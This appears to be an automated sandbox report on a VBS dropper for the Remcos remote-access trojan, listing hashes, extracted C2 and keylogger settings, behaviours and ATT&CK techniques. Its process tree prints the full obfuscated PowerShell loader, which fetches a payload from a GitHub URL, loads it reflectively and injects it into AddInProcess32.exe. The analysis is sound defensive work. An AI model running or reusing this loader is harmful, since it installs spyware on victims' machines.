remcos | dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452

General

Target

dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452.vbs
Size

486KB
MD5

11d17e5031ad380653a237003a2d93a7
SHA1

8e50bcc4c1be2b52a74e0e330bc4d5fddf443895
SHA256

dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452
SHA512

057f17598033572575fdb1734388dc6602b87491bcfdd12012916c324f313dd9210ec97b73237f7ed899a55302a32937d06493aa969138043df747a86eecddb5
SSDEEP

12288:ZD4khNMtUfuNETNPg3KOi/x1n7vgGee1qIk0hChUTvOqov6R2Ueb4Pu3/FJ+3mzT:FHtX4EiDi2

Score

10^/10

remcos sost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

Sost

C2

sost1213.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZLWPZ6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3136	powershell.exe
14	3136	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4232	powershell.exe
3136	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3136 set thread context of 1620	3136	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4232	powershell.exe
4232	powershell.exe
3136	powershell.exe
3136	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	3136	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1620	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 4232	4944	WScript.exe	82
PID 4944 wrote to memory of 4232	4944	WScript.exe	82
PID 4232 wrote to memory of 3136	4232	powershell.exe	84
PID 4232 wrote to memory of 3136	4232	powershell.exe	84
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85
PID 3136 wrote to memory of 1620	3136	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dbe13428633b9203ab613d1e85a1a3968a852599ed94732bcbca94fffd8de452.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aW5Wb0tFLWVYcHJFc1NJb24gKCgoJ1dBaXVybCcrJyA9IHFWJysnUmh0dHBzOicrJy8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbScrJy9Ob0RldCcrJ2UnKydjdE9uL04nKydvRGV0ZScrJ2N0T24vJysncmVmcy9oZWFkcy9tYWluL0QnKydldGFoTm90aC1WLnQnKyd4dHFWUicrJzsgV0FpYmEnKydzZTYnKyc0Q28nKydudGVudCcrJyA9IChOZXctT2JqJysnZWN0ICcrJ1N5c3RlbS4nKydOZXQuV2ViQ2xpZW50KS4nKydEbycrJ3dubG9hJysnZCcrJ1MnKyd0cicrJ2luZyhXQWl1cmwpOycrJyBXQWliaW4nKydhcnlDbycrJ24nKyd0JysnZW50ID0nKycgW1N5cycrJ3RlJysnbS5Db252ZXJ0XTo6RicrJ3InKydvJysnbUJhc2U2NFMnKyd0cmluZyhXQWknKydiJysnYXNlNjQnKydDb250ZScrJ24nKyd0KTsgV0EnKydpJysnYXNzZScrJ21ibHkgPScrJyBbJysnUicrJ2VmbGVjdGlvbi5BcycrJ3NlbWJseV06OkwnKydvYWQoV0FpYicrJ2knKyduYScrJ3J5JysnQycrJ29udGUnKydudCk7IFtkbicrJ2xpJysnYi5JTy5IbycrJ21lXScrJzonKyc6VkEnKydJKGREcDAvTicrJ0J6eGIvJysnZCcrJy9lZS5ldHNhcC8vOnMnKydwJysndHRoZERwLCBkRHAnKydkZScrJ3NhdGknKyd2YWRvJysnZERwLCBkJysnRCcrJ3AnKydkZXNhdGl2YWQnKydvZERwJysnLCBkRHBkZXNhdGl2YScrJ2RvJysnZERwLCBkRHBBZCcrJ2QnKydJblAnKydyb2MnKydlcycrJ3MzMicrJ2REcCwnKycgZCcrJ0RwZERwLGREcCcrJ2REcCknKSAtY3JFUGxBY0UgICdXQWknLFtDSGFyXTM2LXJFcGxhY2UgJ3FWUicsW0NIYXJdMzkgIC1jckVQbEFjRSAgKFtDSGFyXTEwMCtbQ0hhcl02OCtbQ0hhcl0xMTIpLFtDSGFyXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "inVoKE-eXprEsSIon ((('WAiurl'+' = qV'+'Rhttps:'+'//raw.githubusercontent.com'+'/NoDet'+'e'+'ctOn/N'+'oDete'+'ctOn/'+'refs/heads/main/D'+'etahNoth-V.t'+'xtqVR'+'; WAiba'+'se6'+'4Co'+'ntent'+' = (New-Obj'+'ect '+'System.'+'Net.WebClient).'+'Do'+'wnloa'+'d'+'S'+'tr'+'ing(WAiurl);'+' WAibin'+'aryCo'+'n'+'t'+'ent ='+' [Sys'+'te'+'m.Convert]::F'+'r'+'o'+'mBase64S'+'tring(WAi'+'b'+'ase64'+'Conte'+'n'+'t); WA'+'i'+'asse'+'mbly ='+' ['+'R'+'eflection.As'+'sembly]::L'+'oad(WAib'+'i'+'na'+'ry'+'C'+'onte'+'nt); [dn'+'li'+'b.IO.Ho'+'me]'+':'+':VA'+'I(dDp0/N'+'Bzxb/'+'d'+'/ee.etsap//:s'+'p'+'tthdDp, dDp'+'de'+'sati'+'vado'+'dDp, d'+'D'+'p'+'desativad'+'odDp'+', dDpdesativa'+'do'+'dDp, dDpAd'+'d'+'InP'+'roc'+'es'+'s32'+'dDp,'+' d'+'DpdDp,dDp'+'dDp)') -crEPlAcE 'WAi',[CHar]36-rEplace 'qVR',[CHar]39 -crEPlAcE ([CHar]100+[CHar]68+[CHar]112),[CHar]34))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
5421ea692d830c7eb93d23be5ac97d58

SHA1
b651a03ae8231f1ed640c387bc425bb5bfbe6d28

SHA256
0f0aec8c13a7e7278c4003131dd5f19ca409e73043212aa508a7d0450295368b

SHA512
fa963a533c0f593a3e8a9ae247504ea83fc4c056291bcb5018e5a0c34192d9dcd41f683d2852cb1b0ec583cd661579201ae9b8fa2f2a5ae45bf956696f81a7a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_foxop5r5.wm2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1620-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-29-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1620-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3136-22-0x0000024733170000-0x0000024733390000-memory.dmp

Filesize
2.1MB

Download
memory/4232-1-0x000001C5B1C50000-0x000001C5B1C72000-memory.dmp

Filesize
136KB

Download
memory/4232-0-0x00007FFDBC993000-0x00007FFDBC995000-memory.dmp

Filesize
8KB

Download
memory/4232-30-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/4232-7-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/4232-12-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads